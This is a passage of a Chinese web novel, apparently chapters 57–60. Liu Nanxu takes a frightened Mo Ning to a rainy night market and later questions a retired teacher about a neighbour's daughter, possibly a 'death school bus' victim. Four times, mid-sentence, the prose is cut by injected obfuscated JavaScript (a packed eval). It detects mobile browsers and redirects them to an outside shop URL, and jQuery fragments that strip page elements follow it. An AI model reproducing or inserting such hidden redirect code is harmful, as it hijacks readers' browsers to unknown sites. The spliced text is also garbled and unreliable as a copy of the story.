许静半句台词都没能听进去,到底还是拿上伞出门找人去了。
唯一的长辈一出去,便又剩下两个年轻人独处。
莫宁这次确实是被吓到了,没什么食欲,但还是装模作样捧着碗筷,等柳南絮吃好才笑了一下,说:“我吃不完怎么办?”
她笑得着实勉强,更多的是不好意思。
柳南絮伸手把莫宁的剩饭倒进自己的碗里,起身钻进了厨房。
片刻不到,柳南絮捣鼓完出来,手里多了一盒热牛奶。
只见他把热牛奶放到莫宁面前,抛出一个有点莫名其妙的问题,道:“你冒雨吃过烧烤没?”
莫宁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253264|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看了一眼窗外,摇摇头。
“我也没,”柳南絮坐下重新端起碗筷,很自然地说出接下来的打算,“等下陪我尝试一次,成吗?”
莫宁正要点头,柳南絮抢先又说:“你先把牛奶喝完。”
“没问题。”莫宁捧起热牛奶,慢慢喝着。
牛奶盒空了,碗也空了。
车钥匙在换衣服的时候落在了卧室,柳南絮去拿的时候手机来电铃声响起。
看了一眼来电,滑动接通。
这么晚,听刘景那边的动静不像是在心理咨询工作室,也不像是在家,但他并没有主动询问。
刘景也没说那么多,问:“小絮,你们现在到家了吗?有事没?”
柳南絮可算记起要给刘景报个平安,说:“没事,已经到家了,让你跟着担心了,实在不好意思。”
“客气什么,你们人没事就行。”刘景笑着说完,迟迟没挂电话。
柳南絮觉得不对劲,问:“怎么了?”
“突然有个新发现,不知道对你有用没有。”刘景没说多余的话,只说,“有机会你看一眼孙万谦的手机锁屏。”
柳南絮听出来刘景的话是在暗示哪方面的内容,很轻地说:“好。”
挂断电话,柳南絮面色凝重,随后吐出一口气,很快便恢复正常,取了车钥匙离开卧室。
柳南絮载着莫宁驶出家属楼时,看见许静和柳洪兵两人撑着一把伞有说有笑地回家,只是夜色太浓,行人太匆匆,长辈没能注意到晚辈。
莫宁感慨道:“许阿姨和柳叔叔还是这么恩爱。”
这件事,确实是不争的事实。
当年许静刚毕业,在家乡经人介绍认识了四处打拼的柳洪兵,关于他们两人的婚事,许静的双亲是统一持反对意见,原因是不希望女儿远嫁。
可问题在于,许静和柳洪兵两人看对了眼,硬是要携手走到一起。
许静是南方人,柳洪兵是北方人,单单是饮食习惯相差就很大,好在两人能耐心相处解决问题,从来没有吵过一次架,到今天更是如此。
之前听江玉蓉的经历时,柳南絮不止一次在心里庆幸,同样都是远嫁,好在自己的妈妈赌对了。
“嗯!”柳南絮回答的时候都不仅仅只是庆幸,还有骄傲。
骄傲自己拥有一个如此幸福美满的家庭。
就算下着瓢泼大雨,夜市该热闹还是很热闹,停放的汽车多到道路拥堵,人们的聊天声更是要盖过雨声。
想着离开的时候方便走,柳南絮没把车子开到夜市跟前,在距离夜市还有一段路的路边找了个停车位停好,撑伞带着莫宁前往夜市。
双人伞够大,奈何风、雨不懂事,还是会砸到行人的身上。
柳南絮一手撑伞,一手把莫宁的外套帽子盖到她的脑袋上。
外套并不是莫宁的,是柳南絮出门前特意翻出来的,递给莫宁的时候担心小姑娘顾虑,还特意说是中性款,不分男女。
莫宁一摸料子还是防水的,挺好,立刻美滋滋地套身上了,根本没有任何顾虑。
57. 第五十七章
进入夜市的场地,两人随便找了一家,老板娘一边忙着上菜,一边招呼他们随便坐,然后喊来一个店员招待。
被柳南絮示意点菜后,莫宁没和他客气,很认真地点了几道想吃的菜。
等菜等得有些无聊,莫宁东扯西扯起来,感慨感慨夜市的生意,感慨感慨周围的热闹。
柳南絮没打断她,始终静静地听着,等到莫宁找不出话来,才问:“害怕了?”
明明就是疑问句,说话的人表情却相当笃定。
莫宁挂着笑同柳南絮对视几秒,沉默地点点头。
“那我再猜猜,你其实并没有打算向我寻求帮助,对不对?”
柳南絮的语速很正常,没有刻意放慢或者加快,所以说的话听起来和平时聊天没什么两样,也就不会让听的人觉得自己是在被责备。
“这次你猜错了。”莫宁急于为自己辩解,重新打起精神。
柳南絮也做出听故事的样子,说:“那你讲讲过程,注意,能多详细就多详细。”
莫宁意识到什么,道:“感情你是在这儿等着我呢!套路挺多啊柳老,柳南絮。”
柳南絮开起玩笑,说:“没办法,主要是实在猜不透你这脑袋瓜里装得都有什么,只好练练套路了。”
莫宁清了清嗓子,按照柳南絮的要求,从上车开始讲。
“事情是这样的,我乘坐公交车回家,那个人坐在我旁边,从我上车起,他除了中途睁开过一次眼外,就一直在睡觉。”
“我下车的时候那个人跟着我下了车,我转身看他,他直接迈开步子往前走。”
“在这里的几个月,我从来没有见过他,再加上村子里的居民实在太少,如果喊救命也不知道会不会有人听见。”
“可是我又不确定是不是自己想多了,所以就给你打了电话,想着万一真的遇到危险再向你求救。”
“结果发现那个人站在我家门前,我不敢往前走了,然后你听出不对劲,后面的事你都听着了。”
柳南絮回想了一下那个人,依旧没觉得他有除了想借手机打电话外别的目的,但凡事都说不准,遇到这种事最好还是小心谨慎对待比较好,莫宁做得很好。
“嗯!我了解了。”
莫宁不知道柳南絮在想什么,只觉得他表情很严肃,扭头看了一圈,发现周围每一桌都无比热闹,只有他俩这里静悄悄的。
好在店员端着菜过来,帮忙率先打破了安静。
店员离开后,柳南絮从筷子筒里抽出两双筷子,递给莫宁一双。
眼看莫宁接过筷子要夹菜吃了,柳南絮开口说:“莫宁,不管最后是虚惊一场还是真的遇到了危险,你的这种做法都是非常正确的。”
莫宁停下筷子,看向说话的人。
柳南絮更加严肃,接着说:“所以,以后不管遇到什么事都可以给我打电话或者直接去找我,我平时一般要么在家,要么在心理咨询工作室。”
说话的人说完了,莫宁还是没什么反应。
柳南絮难得有些难为情,错开视线低下头去夹菜,菜夹到跟前一直没吃,隔了好一会儿才说:“我的意思是,你不用害怕,更不用觉得会麻烦到我。”
气氛更不对劲,却又不能说是尴尬。
莫宁干巴巴地笑了笑,动了筷子,说:“好饿啊!”
说是一起冒雨吃烧烤,柳南絮由于在家吃了饭,根本没吃多少。
莫宁把来龙去脉讲出来后,心情放松不少,食欲也有了,倒是吃了不少。
他们结完账离开,夜市还是那个样子,和来的时候一样热闹。
雨帘把夜色冲刷得更加黑暗,尤其是踏入“镇东村”的地盘,走村子里面那种小路的时候,周围的环境直接给人一种危险如影随形的感觉。
好在并没有什么事发生,莫宁的家门前也没再站着那位陌生的男子。
这场雨在夜深人静的时候悄悄落幕,柳南絮再次迎来一个休息日。
不出所料,从睁开眼就被许静念叨去医院检查身体。
在学校里面的铃声敲到第三遍时,柳南絮发现哪里不对了,问:“妈,你今天没课吗?”
“你看看自己吃的是什么。”许静在沙发上悠闲地喝着茶,“今天端午节,三天假期,今天是第三天。”
柳南絮摇了摇头,心想:还真是把日子过糊涂了。
想完又问:“那我爸是出门遛弯去了?”
“怎么可能!上班去了。”许静忍不住吐槽,“你们父子俩,除了春节,别的节假日一概不过,你爸是为了挣双倍工资,你是纯粹喜欢工作,留我一个老母亲在家守着空荡荡的屋子。”
许静说着说着还演起来,走到柳南絮跟前装模作样抹眼泪。
柳南絮看得挺乐,但不会接着往下演。
不是不想,而是不会。
他一直都不知道该如何应对这种情况,但是现在和以前不一样的是,似乎有了一个例外。
兴许是许静觉得儿子不配合没意思,放下手不演了。
柳南絮吃完起身收盘子,楼下骤然传来一阵咆哮。
听声音,是吴老师没错了。
柳南絮快速忙完手里的活,走到许静身旁坐下,装作随口问的样子,道:“妈,这是什么情况?”
许静昨天晚上看得那部电视剧是家长里短,现在看得这部整个一狗血叠满,她还以为柳南絮问的是剧情,饮着茶说:“我也不知道,随手播到这个台了,瞎看看得了。”
脑回路没碰撞到一起去,这让柳南絮有些忍俊不禁,说:“不是,我问的是哪家在吵架。”
问的是吵架,实际上不过是单方面的发火,因为传上来的全都是吴老师的声音。
许静往窗外看了一眼,回答:“哦!楼下吴老师家。”
柳南絮站起身走到窗边往下看,又问:“还过着节呢!这么生气,不要紧吗?”
“常态。”许静不太喜欢嚼舌根,回答得都很简短,但见儿子这么关注,觉得十有八九是听得心烦,建议道,“你要是觉得吵,把窗户都关上,忍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262953|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一下,过会儿就好了。”
柳南絮没关窗户,只退回到沙发上坐下,说:“吵倒是不觉得,就是想不明白怎么发这么大的火,我记得吴老师不是挺和善的吗?”
“谁家里都有个烦心事,熬过去就好了。”
许静依旧不想多说,给柳南絮递了个杯子,岔开话题。
“别管别人家的事了,今天过节你不去医院就算了,但是注意点身体,这么冷的天,多喝温水,暖暖胃,我不想唠叨你,但是你自己心里要有数,知道吗?”
“知道了。”意识到在许静这里打听不出什么,柳南絮把杯子放回去,站起身往门外走,“那我出去散散步。”
刚下过雨,天空整个放晴,很适合室外活动,许静应了一声继续看电视。
家属楼前面的空地上安置着几样健身器材,年久风吹日晒,一样比一样生锈得厉害,但仍旧是光荣退休教师的聚集地。
此时吴老师家已经没了动静,柳南絮顿时失去室外活动的欲望,想要掉头回家。
奈何一出来就看见自己高三时期的班主任——一个身体挺硬朗的小老头。
要是没被发现还好,偏偏也被对方第一时间发现了。
四目相对的瞬间,小老头抬起胳膊打招呼,道:“南絮在家啊!”
“嗯!林老师好!”柳南絮笑着应了一声,走上前去。
林老师站在健身器材上拍拍柳南絮的肩,说:“现在见你一次可真是不容易。”
旁边有人乐呵呵地问:“这就是老刘和许老师的儿子吧!”
“可不是,想当年,这可是我班里顶好的学生,聪明好学,就是性子太冷淡了,脸上总是没什么表情,今个儿见到我还知道笑一下,挺好。”林老师满脸的骄傲,然后又拍了拍柳南絮的肩膀。
柳南絮觉得眼下的情况和过年遇到亲戚的情况一个样,想逃,却不能逃。
林老师负责向大家介绍柳南絮,柳南絮负责笑着点头。
在大家说完话一起乐着笑的时候,骤然响起一声怒吼。
“这么简单的题你都能写错!”
在楼下离得近,比在楼上时听得要清楚,柳南絮听完只觉得嗓子疼。
因为这一声怒吼,大家不再抓着柳南絮聊个不停,开始谈论起吴老师家里的情况。
见状,柳南絮当即打消离开的想法,毕竟他出来散步是假,打听消息是真。
“小吴整天这样,可该怎么办啊?”一位老爷爷很是苦恼,“那嗓子都成什么样了。”
旁边有人相当有情绪,说:“她自己嗓子怎么样那是她自己作的,我家小孙子次次都被她吓哭,好在今天一大早他妈妈带他出去逛超市了,这会儿还没回来。”
“可不是,我家也早料到这三天假期她不会消停,提前让儿子和儿媳带着孙子出去玩了,要不然,小孩儿的嗓子哭得就要哑了。”
……
大家该议论议论,吴老师的声音还在不停飘荡。
“同一个类型的题,错几遍了?”
58. 第五十八章
都是一个家属楼里面的,吴老师不会不知道自己被人议论的事,但根据嗓门来看,很显然,她本人不在乎。
不然也不会一声胜过一声的洪亮。
在大家议论得起劲儿的时候,有人突然注意到始终没有说话的林老师,问:“老林,你住她家隔壁,就没想过去敲门提醒提醒?”
林老师从健身器材上下地,背着手看向吴老师的家,说:“小吴是个可怜人呐!”
话一出口,立刻引来不满。
“嘿!老林,你这话说的……”
她可怜,我们就活该受着?
“但是,乐健今年才七岁吧!”林老师慢慢悠悠地说着,“可该怎么办呐!”
徐乐健就是吴老师的小儿子。
这下,再没人说话了。
外边的议论声停下,里边的怒吼声再次止住。
柳南絮察觉到此地不宜久留,产生“溜走”的念头。正想着,身后传来打招呼的声音。
是冲这边,但不是冲他。
“老师们好啊!”徐成辉顶着一个寸头发型,眼底乌青青的,就像被谁对着两只眼睛分别打了一拳一样。
有人一见到是他,脸上的表情变了几变,更有人想直接离开。
徐成辉提着几个袋子走上前,带着笑说:“可巧了,单位过节发了一箱苹果还有一些粽子,正要给大家送去呢!”
想离开的人没走成,僵着脸说:“不用了,节都快过完了,带回家你们一家人吃吧!”
徐成辉明显是见惯了这种场面,直接把手里的几个袋子依次递给大家伙。
所有人除去柳南絮外,都你瞅瞅我,我瞅瞅你,推来推去,几个袋子从始至终稳稳当当留在徐成辉手里。
徐成辉表情没变,递出去的手更是没收回来,解释道:“平日里受太多大家的照顾,一直想感谢来着,总是找不到机会,要不说今个儿巧了。”
“你还是省了,”老爷爷拄着拐杖往楼里钻,“该做午饭了,我回去了。”
现在不过上午九点多,话说到这种地步和挑明没什么两样。
“我该给儿子、儿媳问好了。”
“我家那什么,先走了。”
……
大家伙一个接一个地离开,唯恐避之不及。
最后只剩下林老师、徐成辉、柳南絮三个人。
柳南絮没走完全是因为想再凑凑热闹。
在想走的人都走后,徐成辉脸上的笑瞬间变成了尴尬。
“林老师,我这……”说着,扬了一下两只手里的袋子。
“小徐,”林老师喊了一声,“说句掏心窝子的话,自己家里的事,还是尽快处理完得好。”
徐成辉压着姿态,点头道:“是是,确实给大家伙添麻烦了,我知道,知道。”
林老师拍了拍他的背,示意把腰杆挺直,说:“心里要有数才成。”
徐成辉非但没有把腰杆挺直,反而弯的更低,依旧点头道:“好好好,我记下了。”
林老师叹了口气,挥挥手,说:“行了,赶快回去看看吧!”
徐成辉连着应了好几声,才转身慢慢回家。
人都瞧不见了,林老师见柳南絮还在看,问:“你下楼来,也是因为被吵到了吧?”
柳南絮回神,他确实是听到动静下来的,但不是因为被吵到,在心里估摸了一下,说:“差不多。”
“现在又没外人,是就是,不是就不是,什么叫差不多?”林老师觉得柳南絮没和自己说实话。
柳南絮被林老师带过,知道他的脾气,顺着话就说:“确实是被吵到了,想着下来看看是个什么情况。”
林老师是教语文的,偶尔会感慨一下人生,逢人逢事说教一下,但并不啰嗦,最经常说的,是让人发表看法、想法、感受、感悟,分分钟问出一套阅读理解常见题型来。
当柳南絮听到林老师让自己发表看完之后的感受时,差点梦回高中时期。
那个时候,凡是在家属楼里撞见林老师,肯定会被逮住写一道阅读理解,不写完不让走。
林老师不光逮柳南絮,但凡是家属楼里高三的学生,他都逮。
所以在他退休之前,家属楼里面的学生见到他没有不犯怵的。
柳南絮除外,题他会做,不怕。
“看完有什么想法需要想这么长时间?”林老师催促道,“要是考试,一道题花费这么长时间,后面的题还做不做了?”
柳南絮还没有什么想法,因为什么都没打听到。
“我不太明白,孩子题写错了可以慢慢教,怎么发这么大的火?吴老师之前脾气不是挺好的吗?”
林老师在心里给柳南絮的回答打了个及格分,原因是他能注意到孩子的处境。
打完分,才回答:“生活发生了大变故,性子跟着发生变化很正常。”
虽然大概知道原因,但柳南絮还是追问:“出什么事了?”
“吴老师之前有个大女儿,叫雯欣,徐雯欣,不知道你有印象没有,几年前意外去世了,所以吴老师把希望全都寄托在了小儿子乐健身上。”
林老师又踩到健身器材上。
“那孩子已经好久没出来玩过了,每次见他都背着一个大书包,鼓鼓囊囊的,看着就让人心疼。”
即便不了解事情的来龙去脉,但之前柳南絮通过三言两语,不难猜出吴老师对小儿子这么严格的原因。
在他的来访者中,怀揣“望子成龙、望女成凤”思想的家长不在少数,其中有些家长有着不同悲痛的回忆。
职业上的所闻让柳南絮更加理智,以至于他没有像林老师一样望着吴老师家叹气,而是思路清晰地问:“几年前?”
林老师没想到柳南絮可以冷淡到这个样子,看他一眼才说:“五年前。”
得到了自己想要的答案,柳南絮自动无视投在身上的那道诧异的目光,紧接着问:“什么意外?”
林老师张了嘴眼看就要开始讲故事了,在对上柳南絮镇定的视线后故意逗他,耍起了犟脾气,把
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267883|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头往旁边一扭,说:“你这孩子长大了和小时候一个样子,没有半点人情味儿,我不想说了。”
柳南絮知道林老师生气的原因是什么,当即给人讲起道理。
“林老师,你看,那是吴老师家里的事,我再有人情味又能怎么办?更何况我现在连发生了什么都不了解,我能产生什么情绪给你看?”
林老师是个相当感性的人,就算上了年纪也是一个感性的小老头,但人还是很讲道理的。
“这话说的确实占理。”
柳南絮本以为林老师接下来就要展开回忆了,没想到小老头一挥枯瘦却有力的手,说:“那得了,我和你聊不到一块儿去,我下棋去了,你该干嘛干嘛去吧!”
“哎!林老师。”柳南絮急急把人拦下,“你真就不愿意给我讲讲发生了什么吗?”
林老师绕开挡在前面的柳南絮,说:“小孩子听那干什么?要是别人的话我费些口舌就费些口舌,你的话没必要。”
前面的一句话柳南絮还可以反驳,毕竟他早就不是小孩子了,后面的话他整个不理解,追上人问:“为什么是我就没必要?再说了,聊天哪儿有浪费口舌这一说的?”
林老师没想到柳南絮连这点自知之明都没有,停下脚步说:“我给你讲一堆,到最后没办法产生情绪上的共鸣,不是浪费口舌又是什么?”
柳南絮被最后的反问砸得不知道该怎么反驳,看向林老师的眼神带着浓重的“无语”。
“你也是,别总闷在屋子里,多出来走走,对身体好,思想上也要感性点,人有时候太理智没意思,不过在我的心目中,你还是我最好的学生,但是……”
随着一个转折,林老师的表情都多出几分嫌弃,尾音拖了好半天,终于有了下文,语气要多恨铁不成钢就有多恨铁不成钢。
“我到现在还记得你当年的高考成绩,数学比语文足足高了三分,夜深人静的时候自己也好好想想,三分是什么概念?为什么会差三分?语文哪里比不上数学了?”
林老师现在对柳南絮的态度,完全不见一个小时之前他向大家伙介绍柳南絮的时候的骄傲和得意。
“您这……试着理性点。”柳南絮是真没想到这么多年过去,高考分数他自己都忘了,林老师还能记得。
“你看看,你看看,”林老师差点就跳起来说了,“我是不是和你聊不到一块儿去!”
柳南絮不知道自己哪里触到了林老师的逆鳞,但不得不承认的是,他们好像确实聊不到一块。
趁着自己昔日学生走神的空当,林老师一溜烟跑向车篷那边去下棋。
家属楼东西两边贴着墙搭的是车棚,西边安装着充电桩,停放需要充电的车辆,东边则是停放不需要充电的车辆。
楼里没有保安人员,早些年的时候车篷里面经常丢车,就算上了锁,能卸下来带走的零件也会被扣得一件不剩。
迟迟没被抓住的贼人常常逼得一群知识分子破口大骂,柳南絮家里也被偷过,还是许静的嫁妆,一辆自行车。
59. 第五十九章
许静停车的时候专门用锁链把前轮绑到了车篷里面的铁柱上,结果被偷得只剩下了前车轱辘。
隔天许静要骑车去上班,找半天才敢接受自己的嫁妆只剩下了一个前车轱辘,气得当场破口大骂:“你个不要脸的贼,搬家怕是都没搬得这么干净,卸车卸得倒是干净,脑子这么好使,怎么不抽空再学学怎么撬锁?留一个车轱辘给我,是做个标记给我看吗?”
街坊邻居嫌她骂的太干净,站她身旁替她骂,要多脏有多脏,最后许静又不得不帮着对方顺气。
可骂归骂,贼人依旧放肆,问题还是得不到解决。
商量来商量去,就有了几张小方桌,喝茶、下棋都行,大家热热闹闹的,既打发了时间,又照看了车篷。
柳南絮除了停车的时候去车篷,其余的时间一概不去,原因是实在太热闹,他觉得吵。
自从成年后考了驾照,工作赚钱买了车,他更是没靠近过那里。
柳南絮往前走几步,当即听见不同声线的笑声,他止住脚步,反应过来了,就算追上去当着那么多人的面也没办法再问,只好作罢。
出来这一趟不能算是一无所获,起码可以根据得到的时间,多几分吴老师的大女儿是“死亡校车”上受害者之一的可能性。
昨天下过雨,今天的太阳异常火热,如同提前步入夏天。
柳南絮钻进楼里回家,还没到阴凉处手机就响了,是莫宁打来的。
接通后小姑娘的声音相当愉快,说:“柳南絮,我告诉你一个好消息。”
柳南絮不觉得热了,站在太阳底下煲电话粥,问:“什么?”
“切,你都不猜一下,真没意思。”话虽是这样,但莫宁并没有真正在意,下一句话就说,“我实习结束了。”
柳南絮又觉得热了,往前走了一步,整个人顿时被大片的阴凉笼罩。
分明站在阴凉处,却还是觉得热。
但他依旧面色平平,看不出什么情绪。
大概是见面太过容易,以至于柳南絮险些忘记,莫宁能在这里短暂的停留生活是因为学校的实习要求。
不对!
他把自己得出来的结论否定掉,莫宁是因为“死亡校车”才选择在这里实习的,事情还没有结束,她不会走。
总算反应过来了。
柳南絮给对面回应,很简单的一个字,说:“嗯。”
“‘嗯’是个什么意思?你都不恭喜我的吗?”莫宁相当不满意。
“恭喜,恭喜。”敷衍完,柳南絮才问,“你接下来什么打算?”
莫宁的兴致瞬间变淡,无奈地说:“还能有什么打算,继续调查死亡校车呗!”
柳南絮感觉轻松不少,重新迈开脚步,又问:“打算换工作吗?”
莫宁果断地回答道:“不换,好不容易熬到涨工资,说什么都不会换。”
到达三楼,柳南絮在楼梯口停下,说:“我知道了,有什么事再联系,再见。”
“好,拜拜!”分享了好消息,莫宁美滋滋地挂断电话。
电话挂断得很快,柳南絮放下手迟迟没往前走。
他想不太明白,明明和莫宁认识不过短短半个月的时间,为什么一想到她会离开,心里就感到失落呢?
不得不承认,自己更加想要找回丢失的记忆了。
如果破除“死亡校车”的谜团就可以找回……想着,柳南絮攥了一下拳头。那就尽量快点破除。
家属楼隔音效果极差,每当到了做饭的时间,家家户户叮叮咣咣的动静加在一起能谱出一首曲子来。
柳南絮被吵得断了思绪,掏出钥匙进入家门。
许静磕着瓜子从沙发上站起来,走到柳南絮身后,说:“不用关门,我正好要出门买菜。”
玄关很窄,柳南絮侧身让开路,说:“好,路上注意安全。”
“放心,老妈刚才看了菜谱,打算给你和你爸大露一手,期待吧!”许静出门前,还把手里剩下的瓜子全都塞给柳南絮,“乖!去沙发上休息。”
柳南絮看着手里面的瓜子,笑了,说:“妈,我都这么大了,你还把我当小孩儿哄啊!”
许静理直气壮地说:“怎么了,不可以吗?你长再大,在妈妈这里也是小孩儿,我不哄你哄谁?”
“你可以哄我啊!”柳洪兵留了一只耳朵,一只还是戴着耳机,慢慢悠悠地回来。
柳南絮识趣儿地转身往里走,不掺和爸妈的打情骂俏。
“哄你还少了。”丢下这句话,许静出门了。
柳洪兵关上房门,问正在嗑瓜子的柳南絮,道:“你妈怎么这个时间点才去买菜?家里面有什么菜对付两口不就得了,现在去多热啊!”
柳南絮看了一眼时间,说:“我妈说她看了菜谱,要给咱俩露一手。”
“不可能,”柳洪兵一摆手,大写的不信,“我从认识你妈到现在,就没见她看过菜谱。”
正说着,电视播放完广告,跳转出节目来。
一档当下热播的美食节目。
柳南絮没说话,看向柳洪兵。
节目跳转的不是时候,柳洪兵挺尴尬,想为自己辩解,张了嘴实在不知道说什么,清清嗓子索性说:“看样子估计你妈会买很多菜,我去帮你妈提菜。”
柳南絮倒不觉得有什么好尴尬的,毕竟两个人相处的时间再长,也不可能完全了解对方,更何况世界上从不缺少连自己都不了解的人。
他站起身,把手里还没有嗑完的瓜子放到柳洪兵手里,说:“这么热的天,我开车去吧,你在家休息。”
柳洪兵比柳南絮的兴致还高,说:“我不累,我也有车,我去。”
柳南絮没和自己的父亲抢着去,问:“你的车修好了?”
柳洪兵的那辆面包车时间挺长了,可以称得上“五天一小坏,三天一大坏”。
之前柳南絮赚了钱本来是想先给柳洪兵买辆车的,但是柳洪兵说什么都不肯要,柳南絮没法子,只好算了。
“老古董再怎么修也是那样,勉勉强强吧!不过把你妈接回来还是不成问题的。”柳洪兵把瓜子重新还给柳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285353|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
南絮,出门去找许静。
等只剩下一个人,柳南絮把瓜子揣兜里钻进书房,闲得没事干翻看线索本子打发时间。
死亡校车上的九名受害者,如果不算路母说的路灵灵的那个好朋友,目前只能算了解到了三名。
还有六名。
这事儿实在太考验运气了。
柳南絮在翻看本子的过程听到许静和柳洪兵回来的声音,光听动静就能知道买的东西不少。
反正干看记录也没什么用,柳南絮把本子合上放好,起身去帮忙择菜。
一家子忙活了一个半小时,午饭终于一道接一道地被端上桌。
菜端完了,做饭的人还待在厨房守着最后一盘菜。
柳洪兵过去喊人吃饭,许静很是苦恼地说:“没做好。”
三个字说的柳洪兵不是很明白,回头看了看一桌子饭菜,更不明白。
不是挺好的嘛!
柳南絮拿起筷子尝过几道菜,倒是明白了。
许静女士愣是把一道道酒店特色菜做成了充满烟火味儿的家常菜,最最关键的是……每道菜的味道大差不差。
饭都吃完了,许静还在苦恼,问:“我到底是怎么把鱼肉和猪肉做成一个味道的?”
柳洪兵耐心劝道:“鱼肉和猪肉,鱼和猪,一个在水里游,一个在地上跑,你都能把这俩味道做得一样,不也从另一个层面反映出你的厨艺高超吗?是吧!”
这话非但没有起到安慰的作用,还让许静变得更加难受。
“那豆腐和萝卜一个味道怎么说?”
柳洪兵看着时间,匆匆说道:“这俩东西,你想啊!豆腐和萝卜,萝卜和豆腐……这俩东西,一个味道,土里种的……”
也不知道柳洪兵是实在说不出来,还是太着急上班,最后直接把问题抛给用余光扫到的柳南絮。
“儿子,你妈妈这顿午饭做得那么好,你在家好好夸夸她,啊!”
刚在厨房把锅碗瓢盆刷干净收拾好出来的柳南絮有些无语,柳洪兵说话的时候甚至都没用正眼看他。
“我该迟到了,先走了。”柳洪兵边往门外走边说,“那菜都别倒,不许浪费啊!晚上我还要吃。”
“砰”的一声,门关上了。
柳南絮抽了张纸擦掉手上的水渍,问:“妈,需要我安慰你吗?”
许静看着柳南絮平淡的表情,叹了口气,掏出手机说:“不了,你妈妈我自己就可以从悲伤中缓解出来。”
柳南絮也没客气,顺着就往下说:“那好,我出去一下。”
现在的月份只是临近入夏,还没有正式进入夏天,可上方太阳的温度就已经让人有些受不了。
就连在车篷下棋、喝茶的老大爷们都人手一把扇子,摇得那叫一个悠闲。
而热爱下棋的林老师,也在其中。
一局结束,有人开始起哄,说:“哎!老林,你这棋艺还是不行啊!都没见涨。”
林老师扇子都不摇了,不服气:“什么不行,什么没见涨,我这马上就要赢了。”
60. 第六十章
对面坐着的人点了点棋局,用实力说话,道:“我们陪你下了一中午,你好歹赢我们一局呗!你这样,我们多不好意思,以后还怎么喊你下棋啊!”
让位的老大爷跟着说:“就是,我们以后都不好意思把位置让出来给你了。”
“我那是厚积薄发,懂不懂?算了,我和你们几个就说不通,说不通。”
林老师嫌弃地一摆手,眼睛盯着最后的棋局,心里十分纳闷为什么总是输。
林老师还没想明白,便被人薅了起来。
不但没赢一局,还丢了战场的林老师摇着扇子回家喝水,完了再来观战学习。
他刚进入楼道,就和从楼上下来的柳南絮打了个照面。
林老师见到柳南絮就跟见着救命恩人似的,急急把人喊住:“南絮,等一下,等一下。”
柳南絮踩下最后一阶台阶,停下问:“林老师,怎么了?”
林老师是打心眼里觉得现在的孩子都是大忙人,走路带风、吃饭靠冲,凡是出门肯定有事要办,于是先问:“你这会儿忙不忙?我有点事想问问你。”
柳南絮之前承诺过莫宁,要给她找辆代步工具,莫宁最后猜的答案猜对了,就是电动车。
他平时从没关注过附近的门店,所以这次出门不为别的,只是打算去周边卖电动车的门店转转,这样等莫宁下班之后不用在寻找店铺上浪费时间,直接带她过去就行。
但要说忙,倒也称不上。
柳南絮很快回答:“不忙,你说。”
林老师用扇子挡着嘴,压着声音问:“你玩不玩手机游戏?”
柳南絮不明所以,摇摇头。
“你知不知道怎么在手机上下载游戏?”林老师把扇子抬高了一些,一整张脸都被挡住,“你要是知道的话,能不能帮我下载一个象棋的游戏?”
下载游戏倒是不难,难的是有的手机下不成啊!
柳南絮搜索着记忆,确认问道:“林老师,如果我没记错的话,你的手机不是智能机吧?”
林老师从口袋里面掏出自己的老年机,在按键上面用力按了一下,骤然出现一道机械女声用响彻整条楼道的音量喊:“开机。”
那声音甚至惊扰到了在烈日下捕食的两只麻雀。
林老师不知道问题已经出现,期待地把手机递到柳南絮面前,说:“你看看,我这手机能不能下载。”
“我看看。”柳南絮很想实话实说,但是话到嗓子眼便被卡死,无论如何就是出不来。
递出手机,林老师直觉有戏,手里的扇子也不用来挡脸了,扇风扇得飞快。
在上面胡乱捯饬了几下,柳南絮最终扯谎道:“可以,但是可能要下载一段时间,要是方便的话,手机先放我这儿,下载好我给你带过来。”
林老师相当大方,毫不犹豫表示没问题,然后美滋滋地摇着扇子回家喝水了。
楼道并不算安静,各家各户时不时传来的动静搭配上大自然的灼热,忍不住让人生出“沉闷”的情绪。
